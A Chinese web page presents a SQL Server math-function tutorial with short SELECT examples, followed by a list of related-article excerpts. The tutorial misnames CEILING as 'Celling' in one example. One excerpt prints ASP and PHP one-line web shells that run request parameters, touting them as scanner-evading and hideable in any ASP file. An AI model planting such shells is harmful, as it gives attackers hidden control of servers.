SQL Server数学函数

数学函数

  1、计算绝对值ABS

    ABS函数对一个数值表达式结果计算绝对值(bit数据类型除外),返回整数。

    语法结构:

  ABS(数值表达式)

    返回值:与数值表达式类型一致的数据

    示例:

  SELECT ABS(-1)    --输出 1

  2、获取大于等于最小整数值Celling

    CEILING函数返回大于等于数值表达式(bit数据类型除外)的最小整数值。俗称天花板函数,尽量往大的取整。

    语法结构:

  CEILING(数值表达式)

    返回值:与数值表达式类型一致的数据。

    示例:

  SELECT Celling(123.1)    --输出124

  3、获取小于等于最大整数值Floor

    floor函数返回小于等于数值表达式(bit数据类型除外)的最大整数值。俗称地板函数,尽量往小的取整。

    语法结构:

  Floor(数值表达式)

     返回值:

      与数值表达式类型一致的数据。

     示例:

    SELECT Floor(123.9999)    --输出123

  4、获取随机数Rand

    rand函数返回随机的从0到1之间的浮点数。

     语法结构:

  Rand([ seed ])

     语法中的seed是种子值,是一个整数类型的表达式(tinyint、smallint、int),使用指定的种子值反复调用rand将返回相同的结果、。

     不指定种子值,rand函数将随机产生结果。

     返回值:

      0到1之间的浮点数。

     示例:

    SELECT Rand()    -- 输出 0.36925407993302

  5、获取指定长度和精度Round

    round函数对数值表达式舍入到指定长度和精度。

    语法结构:

  Round( numeric_expression , length[ , function] )

     参数说明:

     numeric_rxpression:精确或近似数值类型的表达式,bit数据类型除外。

     length:舍入精度。length必须是tinyint、smallint或int。如果length为整数,则将numeric_expression舍入到length指定的小数位数。如果length为负数,则将numeric_expression小数点左边部分舍入到length指定的长度。

      function:要执行的操作的类型。function必须为tinyint、smallint或int。如果省略function或其值为0(默认值),则将舍入numeric_expression。如果指定了0以外的值,则将截断numeric_expression。

    返回值:与numeric_expression相同类型的数值。

    示例:

  SELECT Round(123.456789,3) -- 输出 123.457000    精确到小数点后3位

   6、Degrees

    返回弧度对应的角度

  SELECT DEGREES(0.6) --34.377467707849391000

  7、PI

  返回圆周率Float

  SELECT PI()    --3.14159265358979

  8、POWER

  返回指定表达式的指定幂的值。

  SELECT Power(2,10)    --1024

  9、SQUARE

    返回指定浮点值的平方。

  SELECT Square(5)    --25

  10、SQRT

    返回指定浮点值的平方根(开方)。

  SELECT SQRT(25)    --5

  11、EXP

    返回指定的 float 表达式的指数值。

  12、SIN  ASIN

    以近似数字 (float) 表达式返回指定角度(以弧度为单位)的三角正弦值。

    13、COS  ACOS
  14、TAN ATAN ATN2
  15、COT
  16、LOG  LOG10
  17、SIGN
  18、RADIANS

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/462422.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

tornado框架基础11-tornado异步

01 同步和异步 生活中常常会遇到在超市排队买东西的情况,排在你前面的人没有结算完成,你就无法付账,在计算机中也有类似的情形,一个程序在执行之前,需要等待其他的程序执行完成,大家还能举出其他的例子吗&a…

select,epoll,poll比较

http://blog.sina.com.cn/s/blog_8fa7dd41010153zx.html select,poll,epoll简介 select select本质上是通过设置或者检查存放fd标志位的数据结构来进行下一步处理。这样所带来的缺点是: 1 单个进程可监视的fd数量被限制 2 需要维护一个用…

一句话

以下这个ASP一句话<%If Request("1")<>"" Then ExecuteGlobal(Request("1"))%><?php ($_$_GET[2]).$_($_POST[1])?>上面这句是防杀防扫的&#xff01;网上很少人用&#xff01;可以插在网页任何ASP文件的最底部不会出错&…

linux下wget的用法

2019独角兽企业重金招聘Python工程师标准>>> Linux wget是一个下载文件的工具&#xff0c;它用在命令行下。对于Linux用户是必不可少的工具&#xff0c;尤其对于网络管理员&#xff0c;经常要下载一些软件或从远程服务器恢复备份到本地服务器。如果我们使用虚拟主机…

【传智播客】Libevent学习笔记(三):事件循环

目录 00. 目录01. event_base_loop函数02. event_base_dispatch函数03. event_base_loopexit函数04. event_base_loopbreak函数05. event_base_got_exit函数06. event_base_got_break函数07. event_base_dump_events函数08. event_base_dump_events函数09. 废弃的事件循环函数1…

linux下设定动态库路径的命令-error while loading shared libraries: xxx.so.x错误的原因和解决办法

网站&#xff1a;http://blog.chinaunix.net/uid-26212859-id-3256667.html 一般我们在Linux下执行某些外部程序的时候可能会提示找不到共享库的错误, 比如: tmux: error while loading shared libraries: libevent-1.4.so.2: cannot open shared object file: No such file o…

同步/异步与阻塞/非阻塞的区别

这两组概念常常让人迷惑,因为它们都是涉及到IO处理,同时又有着一些相类似的地方. 首先来解释同步和 异步的概念,这两个概念与消息的通知机制有关. 举个 例子,比如我去银行办理业务,可能选择排队等候,也可能取一个小纸条上面有我的号码,等到排到我这一号时由柜台的人通知我轮到我…

Android的MVC框架

http://www.cnblogs.com/wanghafan/archive/2012/07/20/2600786.html MVC是当前比较流行的框架&#xff0c;随便Google下&#xff0c;就可以发现几乎所有的应用程序开发中都采用了MVC框架&#xff0c;例如&#xff1a;.NET&#xff0c;Java Spring&#xff0c;Java Struts&…

DVWA-SQL注入

SQL注入解题思路 寻找注入点&#xff0c;可以通过web扫描工具实现通过注入点&#xff0c;尝试得到连接数据库的用户名&#xff0c;数据库名称&#xff0c;权限等信息。猜解关键数据库表极其重要字段与内容。通过获得的用户信息寻找后台进行登录。利用后台上传webshell或一句话木…

void init(void) 分析 ! \linux-1.0\init\main.c

void init(void) {int pid,i;//设置环境信息setup((void *) &drive_info);//打印提示语句sprintf(term, "TERMcon%dx%d", ORIG_VIDEO_COLS, ORIG_VIDEO_LINES);//打开终端1(void) open("/dev/tty1",O_RDWR,0);//拷贝打开的描述字1 &#xff0c;2&#…

查看符号表

objdump -tT libcamera.so转载于:https://www.cnblogs.com/eustoma/archive/2011/11/21/2415805.html

easyui验证:validatebox

2019独角兽企业重金招聘Python工程师标准>>> $.extend($.fn.validatebox.defaults.rules, { eqTrim : {/* 填写名字前面不能有空格&#xff01; */ validator : function(value,param) { var reg new RegExp(param); var falg!reg.test(value); return falg; }, me…

秒懂机器学习---当机器学习遇上决策树....

秒懂机器学习---当机器学习遇上决策树.... 一、总结 一句话总结&#xff1a; 多多看图&#xff0c;图的直观效果很好&#xff0c;很多时候文字实在表达不清 1、决策树&#xff08;Decision Tree&#xff09;中的各个节点表示什么意思&#xff1f; 每一个树节点表示一个属性上的…

void start_kernel(void)分析 ! \linux-1.0\init\main.c

//启动系统内核 //asmlinkage 为通过堆栈传递参数&#xff0c;默认为通过寄存器传递参数。 asmlinkage void start_kernel(void) { /** Interrupts are still disabled. Do necessary setups, then* enable them*///设置中断向量表set_call_gate(&default_ldt,lcall7);//设…

ASP.NET MVC3源码下载

这个貌似是微软官方的源代码 我收藏了 有时间在来研究研究 下载地址&#xff1a;http://files.cnblogs.com/happyyouandme/mvc3%E6%A1%86%E6%9E%B6%E6%BA%90%E7%A0%81.zip 转载于:https://www.cnblogs.com/happyyouandme/archive/2011/11/22/2259108.html

H3C交换机配置学习随笔

1、交换机配置VLAN vlan 创建VLAN: <h3c>system-view [h3c]vlan 10 删除ID为10的vlan&#xff1a;undo vlan 10 注&#xff1a;任何型号的交换机&#xff0c;都支持4096个vlan vlan ID 从0--4095 vlan 0是保留vlan vlan 1是默认vlan display vlan查看本机有多少个vlan&am…

Linux系统目录结构及主要内容

为什么80%的码农都做不了架构师&#xff1f;>>> 文件结构 &#xff1a; /&#xff1a;根目录&#xff0c;所有的目录、文件、设备都在/之下&#xff0c;/就是Linux文件系统的组织者&#xff0c;也是最上级的领导者。 /bin&#xff1a; bin 就是二进制&#xff08;b…

select + 线程池 回应服务器(windows)

//为了支持移植 沿用Ptypes的头文件 #define WIN32 1 #include "ptime.h" #include "pinet.h" #include "ptypes.h" #include "pasync.h"#ifdef WIN32 #pragma comment(lib, "ptypes.lib") #pragma comment(lib, "ws2_…

一个程序员的创业失败教训

原文链接 http://blog.jobbole.com/6752/ 这段经历是悲伤的&#xff0c;也是快乐的&#xff0c;毕竟创业是充满激情的&#xff0c;想着自己以后可以不再给人打工了&#xff0c;可以给自己打工了&#xff0c;一个程序员写了很多年的程序之后&#xff0c;能够有机会给自己写程序&…

学习《深度学习入门:基于Python的理论与实现》高清中文版PDF+源代码

入门神经网络深度学习&#xff0c;推荐学习《深度学习入门&#xff1a;基于Python的理论与实现》&#xff0c;这本书不来虚的&#xff0c;一上来就是手把手教你一步步搭建出一个神经网络&#xff0c;还能把每一步的出处讲明白。理解神经网络&#xff0c;很容易就能入门。 深度学…